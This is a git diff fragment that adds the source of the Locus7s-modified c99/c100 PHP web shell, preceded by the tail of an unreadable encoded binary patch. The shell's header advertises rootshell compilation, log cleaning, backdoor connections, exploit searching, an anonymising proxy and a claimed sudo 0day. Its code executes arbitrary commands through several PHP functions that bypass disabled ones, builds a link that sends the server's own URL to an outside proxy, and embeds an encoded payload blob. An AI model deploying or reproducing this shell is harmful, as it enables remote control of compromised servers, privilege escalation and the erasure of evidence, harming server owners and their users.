zD$j2@aCke37GnRwNDS!@Se+sX=tiVYvVVPr<;!)4Rw-5r34RR&fc&qs4Ek$^A?43@ zkM(p~oW|IvWuxKSgVYgi4v#7+K1RGQ&-{IfDCnt+R?!v<D|#Yzj~%P2dgvmmIir8_ zb&)wjd5l}PJWNJtd(vm}9JQ#@KQK<T1G|lgEafEAKK|Ro%KLxSpgA=3*R(+&?;QPR z3MYZ201!`-#!;(gp+M~vKlMQl@v7zf9_9e$fiAM})}lXk042pfi{l8*w~7r&{sk)} zZC8vLk+?!97AV-)b9|f)1_!iGc`B%}eWeJ@xKJSlzcIOuDHdwl+H`R3^W@UsJ5Agq zPA2_Taqrx$akS_!P#~3SzdhIT^zaKa%R+01@hST!odHDR{YN6Q?qTne2xm}cbY!Z1 znxPd)6HZR(qE@s<MZ_|9am2_A#H}6fzG-A&53Lw~tzVLTZ%XHRb+(`87+=>T6fS!5 z2zs<nD8JnBODN)X4sd<qWzTPP$VIxgh$A+%{nEM*=L}TAc~Z!NH^w+{_dm6Uf3rq^ zvqrze8f6$kJjxStY)eZG+W3|{cPGCTm{rAYN6iE$^sl@Yi#%Hrfx1=*(p34zLcAiK zVD(Vq0=U*aVy<vjSJf4<%C^Mzjz&QUvM{d5+nhc$Xo|D+=!cygJR@@(NiEIK^J@s_ z7Gq_Ve7T}}kwZ>3Qy)`clb$%xV@Y`-Tre5<_NgAvE4UJ&&MmQqcD}Wt;QR;pIyAfX zxio`WZ&4qmEO?%Oz>e~|dvsFd#h|9Gv3gUtFZn(S!Mip$JW(0UKr+jqU<_Wrb(l7A zx~s<h^!(1O?-&55^@oYw?L+Ni_I59!b_$@3T#VA9u+-DS(H$?NRI$pCZ`simu*24! zQyjK^psbzz1B&>|U;i_Jq5E3DySOg##rvjYP3WvGpBF-E62(9TRttjiKDnj#%-TNU z9#J%c<}UslbOH%v<J?j1FnUlNr|YwPK(?SrGTWI~rpU9X+KraHtmL-lXoNmbSG7+V z&k{S*Z0&iS>uE?38p&n#NHiJQ;Sxdip$$zEQz!*QD?tfFx&nbTtNv)9VSz`uLhaB) zg?N=QZa$J7es}$XKv<9%nz7&%vpDWfc#PvZPGp{kvpnQLvzS}Xdo6KvbXi-9JpiSF z`ZPZXgO8=1{Ie$+^Z~kYarr)Bw7s>tpilYSxVEA>su9gWHfRnufmo5gN0x`qM;4sp zN=_?8ZEO7C6q+aQW(S8AU<5r<E8gYgBXv%#StBC1PW=>8J$Ett9Vx+AKV!r?=_cOY z9PqrDhcrDabc+XJIg%7KAsi>)vjZcfW&e2`#;3SeBy`D!TxB{|gcsGNnmdN&GI2!h zjZYF)ahxP~90Uvw_zM_h8(az9Zz#+9Y2kjms_&F4KypDXQP0i}4_b43Ngur7b&y$4 zF(H9hrKYH^KfTU|HjMUHbucSni7vzEXzYme#HgwH?W}JHBW;=P(<Qqu+7e#uY^qj- zE2wek$=!mrbTRukm~t50CI1N6jrNG2dgo;Kem1Ng5h_gRi!9Z6${uo?i7~(?SMU7+ za*-?pP!4$(c!k@r32xR1TF5V-+h#G_H$y;Z%c|Acv_CUyEj=^r<@u~c;9;j&L~@dm zA)hU7{Aqdvf9iQ-OZmx%I^!j5>ULVAo^kAt$PH~Yhg?d>Xg>`sel`U|u3nJ0n-U*h zj=MmwD35y_^&;Us0dIW_eynq8hM?c?fz6zRJ33-_q2XRb!zwGxC4weA8@sJ=`Obri zNrG8PZQM!X!&NqB2f-e+!53H~vB^}A{CM2_1x^l$C<M^*cWaEZtlZ*Bw51%)tq!tl zv${W?6Z&Uz+`i+aV2u4Xy=J6ASqe~6#;;NYf(;j|rG>P-^K`Yjl3czSfh`&q?pwY$ z*ngvpeA1(n-o`WLJ}KPN%**^h<OI&Mx{yjpZ@Pxgo+q@lN>^dUutmQ0=dUJvw8k=b z&SLDsCpEj7DH83iZDtpo7OT+Un1x8l<W-Lj_XA<y62*h7MvEQ4U(X&=No^wak+!Mk zPjd!DNqN0ei}v-m4r{tfo(3rUPwl4pGHP*mZ{klEDxR3O8qrUohc1>{6lqWpB8~@M z2MT;0lARmvcr88kdyBc>+x&5dNzexR!Tk8N9br{gwlc-$nvfN3-!fKC{Ac4r<_{3s zz`LvhZX?UnEV3FWlf-cxD}fm)ON}gKZapm+s&bn;;;{$ZV}<vvP&e>c+xX~S;x4US zS&>Vrdlxp*FwaV(*f`}G;IOCWJ}zS@2*Z#v$_UIQk3Z@W7EzVsr>k%^k8MyU$<u6K ziVoi^Kn%7BFGs%^{8Bk{*}#FDs|}S<$t3{f7>?OQeW`Z;ISoq{QK}v+S*R;bov(U} zXnRbd_8m!i9P-{#z2GD)Yi1MBti~E87u&69MpH#p3Y9j{TM*MMy}|s53mSOF0=6!r z(R)$~yOj7+4hJD8s_;un^YwKNc=j1@2G7@+FA07}BAk5(AnD5N2c5;p+Yz{o7~5mR zDR;fP|2qsnso5%acb*z^W8~|SKm2OXfX%&Hi9kS}&X)BtwpM`OG~ZIBM|rC+3V5Z| zGkp8Cn*cOu@jKFD;i@7=!zl#?OijY5U`viq2|Yndbw|R^*SzPtU1X0|q_w8RTIF6; za8<qK>kkVjBZmA8G$WUCNAlQzq6REc+=s?o*oFIAx+4cH5Ym}2V<IOKxtu(%`3nDf zg<ZE>zhUclM(P9Jo$H|k-U64@e`8<gU9z=lZcpc5G)>fyqEp}*EDN8hY?b2cvpT9Z zZk#0^*|{0Xw*cBUz|TF){CeIFMR}6@_BsNK?!P1g(v#Pr)lzc;lRj4lr#uY$7(CYE z)l!3B<j~^7@tC1O9q4D7B0!mJI}sEokv)Bgx^$Pl$p8shnsHP7ekV>LlUu};raW0> z`REGbMdKHz=HpiOaIYguF5?IFP#oD}ZKu;~$_?@Bc=u{#W2#$nm=Og_#9ihnd7GQh z*W+z^Z&6Jk94*ywlVcm{(fPI&!Bf(M(outobjm@<$t=V8?+_?NN5Yl}?Kc(vi<)ka z*tgEh${&A5x`?iZ(g4ZCx`PLWyolpd;57MWbud@+@vGc~gK|A(*Skb`!k)`Flwq8g z9GlL!O0g5BU$)<hPQ&a)p5GrWk}1q8%j&V4TB_j8p;?N`de<i6UP7S9)c#&Y+!00Q zK2YUGGby%KhfDM<hF*ITC@XkisyA7(aZ~%Yhz9>f2IV#`SL6d>xWC9Hdyc*~7Jn2w zV<!o>PbV8cc|mhhb9c)CK2ZlXS)PG78mWWW&F<#QiebX-ck(uYHWb?1Uk&SP8z^J( zPY@t&99Gy+)Q}2q8I~#b*Y08yr{o9t<!^9lu6-|#xm(`zEKHbL)&#w9E}lscx*qEF z!cTckKwKSoDa<lRjQZimAfg>(+5wl;%W+dhM_<B;{N7WlX<3@YiLSec{m2pg^p%;X z@jt5O;JCAMU3x%SPgf~Urad|Iu!V5@%@b0HA|vj{;{uqoS`z;;delRlWTo3kp$nqI zp4)1hvhK^E+18kn4hq|?e;i(ZcJBI*jl@6Vg1`74WO!0(<0671Zkl6xs-j1eX5yqN z!5oc9>3sNlW{DbQ#lVNnI{Z&&lDQ57!Wy%Eii0)s=B8+6;<xirm8JJGJ4imqe8I$+ z32n`MH-3?_?lIasNs6u0hLg-8?oFoT<JV*8&5Fsyj*+!Pgmg6@E9A#Nzx0<)NnB|K za{#n`CFPV2T+ROcRD?yyyq*UZa$9$P+?j3Q!uo}5FI$R+B4Jn8^r$RMO13;i9xxk< z2B@bIF&p8tF1(j~flNHKY9!q-Pqt0vxTnYsZFUB#x;P~pqol_RpO9lvM_4N;5_kk_ zeM*w|R`WEZY2EgGWI|&wzZMF4^47YUG5&NvI}}e*7?xw7J+%GxIbe%xpqhe-sWT&? z`gxJ1PW=n5L{1=qn=<c5QJbLp)NWf$OFP}5u&QF2%iM}}<v&KMz!w`>-auIQ|0+`D zCIID`9G|e%0QywJ%)N7Tb*2?YHwG~u_B7s$taRH_Kt@Ru>oJy%b3S8w8KDIRcU@=F zaP(1ZA27V&H)_5}yN!;}ZYSx@gR5$>W_z&E8yz&z+eWc(XaQ&)xuw3&$nub6(gpNT z6A1}s9mtM^BRY}ddXnp7zkWV<gXF94Uq7F!A2jb@<a!24x3o$!%OtN&Zn7z5e@;eV zhD6Lk0A`liO|zzK`ZQ`wuODoUWoash!t9PiRAVCj4y$)y_%QTxRDKqkuRqmf@0q7N z-GtQ4-oq&X94uq*zil9Yaze5S&3>_OIhnnk;zU*jo)$6;&%YySWt(|ZrRhH6tE*5i z79u@d?g9f1#W9qhFV_Wwd3c{$1)4^h;inef6d~72DZfke95<G`J@k}?>oT9#+LJbU zJFbwK#jl~p%EMH-ucvi|f3d6{=1RG>l<QNsxkZaew&$<;G|>x0K6>yrs={jEgH67! zWN`%=GlOQgshlISC}W(wypoC$H&wt9_K{2JxL(m1$?OLgu&z*DwiSU%y29HR36XCj z7Z^Jzc#d`UDgnTcNj+X+lv~(n5sUvS#Dc&!?dt?}IHUTj33W9z?2dUH%{wj0py3_6 z<?0_&uhkdqHGQ0%U-131gF1+o2vB)JgzJprLZw+<U(}_j1lIU$T#1q9FM$3HKgvCv z)r-j=^kDi4){Ao3!1m631=#goBDjk-v|@THq@s~;=?%N)>qmqopFF%4XTMGkWW%Go z@ot~D$Hvo?(xl+5t-ozCsrv(^mdj<2GicaWW%N?Lt_l(A7pds56D-=$K#vkkQ4Ba7 z^bfC)Edbo|rq1-|o~0j;dH;Ru<`^zo^U0TU_@T_*1g1J3Mh8g@ptdKxHS3RRdjQzy z>@^i+a<@^NCvEi0wBAf@)+ye^`G-z+o;9sYiU%L5C&r)>d1oY3as#GSN#22#u=j1Q z_vTTn%oJJBi5q1&q;vqxi2L_3Bh3)-$m2?0EMJGg#KDD7h>lROQ&Hm=qVQLP09Mtu z2Z$N2MD7;~&}fh50-bW*DzWKu<!T=?&3KZ#Z@bwE+P(HzWM5bKC$7=42Y=1%G*Ab; z0muD3g4TboC&kH~57DK6k#w-QxR6`^K6~2w4RxiNIEfQySd_`>52P&ZcabvH>|y(2 zLf52|MTrVWn#L6)8p9M$lLJXb`q4lDX7il~lHeCx8oydbA>~R|FRQhaejpakFIT#K zHQGP1egP}jGh{!1lsf*Zjep)aynFCjY))}j9EIsv(p<CbHYKZ+Rl9drJ~exXGpD4l ze@f)J>fJ-GuV!)L4Bu8DQcF6Wp(EG38y&9$$t=`Br--Yq_;1$J7NaL{dq-;7DQcxo zBHY>g?dyZdzq23L3it*6^lK4RfvZ4!-e3{b(^oev{x=;;FDnKBRq5=aWGq}VBZiH# zhCXsA+vFER;gny(TNIr+X{ULyBn7}QAV2qaUXSwcW(E3qL8$F752C4>QrA{5E{1+K z0aoBzO|N~NA^XWXNq;mwG9!2W^PCJ9g|)pBv6=p{$C4k$?SeUp2M?pf?{yXg+V5g? zJga5I=PJDag2s`QEat9*;$V<joY@R>IJGgc8_gnAQWj({F8$TY-CisP06naL3mGJW zfio;HY;O(1RjYASH6=#v85&ZNXUde~j>3Q326c{6Do5Fvaod?{0i}@-A9>pB8V#1T ztTcZ$IX5Q5%dMwMSBxL65DA?X{5*VQaU_SSu>cGoWT9>7R3&5(jK2IOKE6X=tO<|K zZgM%X0atLc<v^x+K(E&0SWgv9<#*Gr$EU?khuf646_?rqI_F_)OvR(P=?VDbYeJwG zh4g5oL<P38+iCTC>ARMc$D<<GjM^7gb(&{B1%02^-P}KGPfhbl-JwS<NN0;^LUqC* z0*+5NgyA1V)_R)`fa^U7D3PQFBGa-vk+KinT4AWDo$W|TZ`D7?-1OZ6`+j2w1%nEJ zgsn>DsEsR&<OW}6oH8C0-XqDuVD>0Qu}wX7^?-UNTkY-mcl9*M8rAmtN`MkQYxCE~ zy*odXle)(KBANK+G4RiV0zWg|YkB34y*<-24ZLc$4;Z)NSsgs5MO#HEH_M7&A&t!s z>sXYD3q$(Ff#gPoa3c!!{wdV=FFK=Ug|&|})eqpd81$6~*w-;tcA2im&*lUsLH;Kx zVV%-^C+&GXHD8hW1H>@-?%4{;T#SYXtp+c(Bz5<<M@i5g?Lb2Bd`Tqo!`Q%Pc4!l@ z#Fuq|Xz~Ix+$HYyL)e44<LqAT=;g8-xJ@TRBTB5G3>6O_jWP8xWh$-xb!1j>FTah( z+-Y=ugnEYqfxxY)pd(^(MkzQ1wL+R%jtgF}`VfR2Nr&4>6xo2Dzka6Ss|DzTPuMP| zU550}c=$V`Ea(tE(JeFzl5SP8d{@>+KF^4b5>43fX&kAG+C%XV)Ertq*pYsLSjA=E z6gS<}g1#d?x2hObeZ8K=ln?8I&-r%(pKO~SV*sRo=j(5t>2IFtZ=UIIp6UMqp2;4U za;xL1(TL0XBvEFPw@2zv)k*yFxo9zXMbh-S+TeOz+PZMM+}mZjv(KZMX$`eTLfGh0 zy2Hd8P*W)QjtQLBl=@Yhm~z+01VZmuG0iYdWIVhFaWFY_qDKFSH5MHmYQ8a<THBMB zo;%*UZfQxVu!kbYY0$oW%jXuviy_00!{XO@2R^zuej3OV3cfcS9Qlus`G|!psni1o zxoHj&mZ#Rs_r9zWQfQ&j@RAugIZu|qdIFuY0GOOP(Nn^xW)<mZO3qv40w=SD={BRw zH~jGGx`7?mN0kN{-;rRY2;RHjN(G<t@rQ}6QL=OWD9;4k|K0z+)j=@f(@>W%g~25` z=^f^6JvBsmVhrWu{&F+XMg^H}!_S<jN%6VI*ZO;gK%7N?*(tt?dDM+C9;G{S74eXx zpw;mfXYBKyn^DfGyv?NINy)4<x9w-!ulzK0zBYAHnFK6_;wX57#Q!S`hOiUhsha=* zj4m=?c7b}RcqTY=TT?T&<P=vSY-%)<#Aoxx7ie~4Sf-`=dvml03khT{sCbHEx&hfs z!&Qj#xLHi2I=^F6vvv%Fu+$8N+L~5$$XiR-5)#YPN$#6;b4$lN%VGv#i-YZ;=Nsd~ za+0{jl$=Ue^(BDR;~iREF7|Je{@<odg3r(`(a~#>!16ryTbCh~>WlcOjKmmo6-)1w zeg02?!CG=x6_&<yo#vkCy0X{FR_$}xw<1SZnQ9~$YkAXM(f#7mU_S-Kk*e!*Q&fJr z<Jg+*qyO~SG<VLK#nz6L)OLkmsR_f2B5+;W)($y>i1s#nJSlG1@e$PeUlpOrtL2>r zDHp0w0!(}2oIwq_E&b9>ViG`{^YBb{I%Ndl9SP$O!f3`gi=>>OA`|h%AJT0oID^5z z_XOdVAUVK{0V}U@zq%X!%d~~a*28zutSjFkPHo=bLQGu0!M7*|3-xi2fkHnks97Ba zaG%%R^{1&3Chbj4cv`2N$5Jd7K^Pe2Lu0SN@k!3?2K-cmZWwczN*ChrGJ&$K@2vkv zOBA(6A#CZ|ojvbU@Hc^<CV5qVcPjmV)u~i?CfFp<vNq{TPB?n7X`#qtp!J#kZItKc zjko6rdoKZ*ZAO-1PwBqT%Q2POFW^#D60(wZ4iPf*<HA`wKPG*GO~O6N(k6nV_79oJ zYWzsJHtL=%pTJBS5)pm;Lc64rq(rSEP`5+6XlrN8ikxEAPvtu<a@FcEh;;Cbj&x^! ztuz%{+lHc7iF1ygHZkhn7CV~x`CDMHl<|q%kR|=NlpU&|Q65*nW|S@O=*luwD61Bu zTR?E@jW8P$`9=>c7^t$iC*fO`xX8FfgcKS1F6D;cd6HxF(GyvYcwnPUVCw(xWG;UC z84#G~lS?|znQzDEA=8KWvWG!iMv>Xg-E2C=`weZK4UlG4Si^E&@f-*S8{+D_uQ>^x zI@h?!!fQPc4QKwTMTx1JSb~gVc1?hSzYGo=g3;rxmpq&ro$a5{Dq^we%uc0wga;SX z@!4-&rpVv+1zL(AZ7IMW;TO6xhJ0J|OYUjTb7lDzK3`V#>F{?cY&*DK8?dRwqw}No ztnwj{j%bfSTW-T+Oe$3p4%>r?H#BQxb}0O0g2?U4x|E?S>LWvn2e$XDF`6H8fWcB2 zaW+wF7zJ#YlYHMQcfp{~+R3(xGK4(V*lFQt(<;y^%$mW+X2x{9Jg-`b=!sg9T3Ev% zlT#P#H|A&(ZfTDzzl?H$ldmZ|f(J1dWmv#62!zKelR;6Q9A9V3G9(kK0my|6Q;TiN zPX}%K(tVjngP4oL{PFV*D`lvWil+%_k_1CaJC${JQqgiFvn(ZBdp_0=vD%qM&PyhD zQ`ilD!LM{&DMq4lZRalvdR$()rx&+rY>zrO$stBFaC?qnJdjy4UA3X%Bp0Bh><w<} zu~K>nrq7}TEsJWz?~G40R4HVV5kl?lB0q<o2aA6u_N~ZeiB37};cT+Dx6l11J<8(@ z=s~Q)?VZL5*Qtrx;%?;|0{nm`z$2wNw=i5zdA{ZW>dw6E9JxTI7G1Xk^OLKYaJLHe zc?NkeA9FX4VOO+WcH656L`PJs644ySXX$;@ex0AKE05OQK_W7xqG=o}m)a=%h>DF^ zHDCvu38)mW&j}a_C1HXkJ~bOHch0U$cH-7-1}+A|tTE8L8O0?DV(_G9iTSPypMq-# zc8`4&#Ic%#@PfOxBBbsJ=A*m{MnYn{+lG>l@)4LXqVGLCK213$_;!C%yBl%A@TFXu z1?Wpn$N{_D#{_pWx4yKqIS*x1U=KwOe%ErsLpP@qA```h7-WsZq_XAV(?O{e_iRjD zSy6B|E*2$6W)UfgU{MG7gSFqD%<VkPpNBW|^71^Ff^2qayjixT?^d^+_H_*+=O^gb z^Wc>6+hH)QtZ}VBOjmSc<OsRdp4=)B=YXpaxGC}0%E1NnQTL2edT15K`w$dvFLZL^ zACbqzZh6nHZRIv+xRJn!tyCjVlG*#yAsvN7F`GGy7mNhvER=ERWW^mZ=?<QN#C7a= zn6S7FU&7tVLZ;B_T@x0ylw*#z6q%+7^~=F0327oz1_C}U*)@A+(P-03P0k*hzH86Y zw$w}s(IR<6U76=8QgKJaf!eAcY?R(x_jw;`#iZeBT|MEN!>LKa=O2q&vSg|$V~Bc% zKWwVQC{ZUZy|Cuw9R<7Wf4m+l#$Ig^W*mOq=qJzS4}R)RI%>4qa{TQ?K_TpJRF-ie z8)Yie5zw2|_4D4O37|J={Kw>z2bg^3#3Aqe2ZrRluCs|xzJ0AFGQ6Uhx3T>l3EO1% zEP+d7`GSiOZtqMj+eoe3S%luJfU!RKsb<L5*5$Ycmy@~iRV>Y|N@76>{}sDhVdIvX zBiD+xYk&JEm@6qMsn$&o*<e;CYI#i##&;wWa}j@Dg`tmiNnk_vL(%D|l4<JDWjt(= zU!X`IwwQ@`6T{jAhV$n0&6eLyO_t3vIVRq7HJNFaa(HDvX2%)s<(QYX6-Y7={pDqe zg!QZ?9A4!$i=G%~P$wIOtP`5rMs`C~6zq_cR7EZjnOB1MDVVY6){o4}pZi%e|J>}< z|2D0bzCjmD-j;E2=TN=Asw$yPXmpJ5Wc|)zz`-;pui+a-UqhXT&Gr87dMHs$UEsL- zL30}B7M>cGG=c`9{qW>B3La$U(^qn+vsA-1{NA}!Sxa)mXu~_rOpM5##hx_BM~gM5 zOZs6f_FRz}U=%vDZirKbY2&<c8b+UD4g1egq?P}{C{h&*lT6(R*NaOs3j26xy6;G- zAY#q^;c#)CZ7*Cuk!3Bwf>DzG4b~G<$jGI$RE1bGjwaVrV-Sd#0sHbq0?sOoGz8$> z*FPr^X$>Bz+NX(ge`?S2VKxx`z6s@(Tkx{FV~?(cul~t?6UjtO>@c<c=4IRWiT?#Z C+K0*j literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99_locus7s/c99_locus7s.php b/php/PHPshell/c99_locus7s/c99_locus7s.php new file mode 100644 index 0000000..cb3fe60 --- /dev/null +++ b/php/PHPshell/c99_locus7s/c99_locus7s.php @@ -0,0 +1,3595 @@ +<?php + +/****************************************************************************************** +* Locus7s Modified c100 Shell +* Beta v. 1.0a - Project x2300 +* Written by Captain Crunch Team +* Modified by Shadow & Preddy +* Re-Modified by #!physx^ (15.2.07) +*======================================================== +* New Modifications Implemented -- ++--------------------------------------------------------+ +* -Added link to Enumerate to escalate priviledges +* -Added Rootshell.c +* -Added Rootshell.c;auto-compiler +* -Execute Rootshell.c +* -Added Mig-Log Logcleaner +* -Execute Mig-Log Logcleaner +* -milw0rm searcher (Grabs OS and searches milw0rm) +* -Locus7s Style & Image +* -Added w4ck1ng Shell Backdoor Connect and Backdoor +* -Added PHP-Proxy link to hide your ass +* -Added your ip and server ip with whois capability +* -Added private 0day released by allahaka which utilizes the linux +* sudo bash to execute a stack overflow. +*======================================================== +* FEB. 14, 2007 RELEASE NOTES: ++--------------------------------------------------------+ +* PRIVATE RELEASE OF C100 SHELL FOR LOCUS7S MEMBERS +* FAILURE TO DO SO WILL RESULT IN LOSS OF VIP +* MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP. +*======================================================== +* PRODUCT INFO: ++--------------------------------------------------------+ +* C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM +* WWW.CCTEAM.RU +* C100 SHELL - REVAMPED (X2300) MODIFIED BY LOCUS7S +* UNDERGROUND NETWORK | WWW.LOCUS7S.COM +* \E0T/ +*********************************************************/ + +//for php proxy purposes + +function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); } +$selfurl = base64_encode(selfURL()); +$phprox="http://twofaced.org/proxy/index.php?q=".$selfurl; + +//end of link + +//milw0rm search +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi("Linux",$OSV)) +{ +$Lversion=substr($Lversion,0,6); +$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; +}else{ +$Lversion=substr($Lversion,0,3); +$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; +} +//End of milw0rm search + + +//w4ck1ng Shell +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + +$proxy_shit="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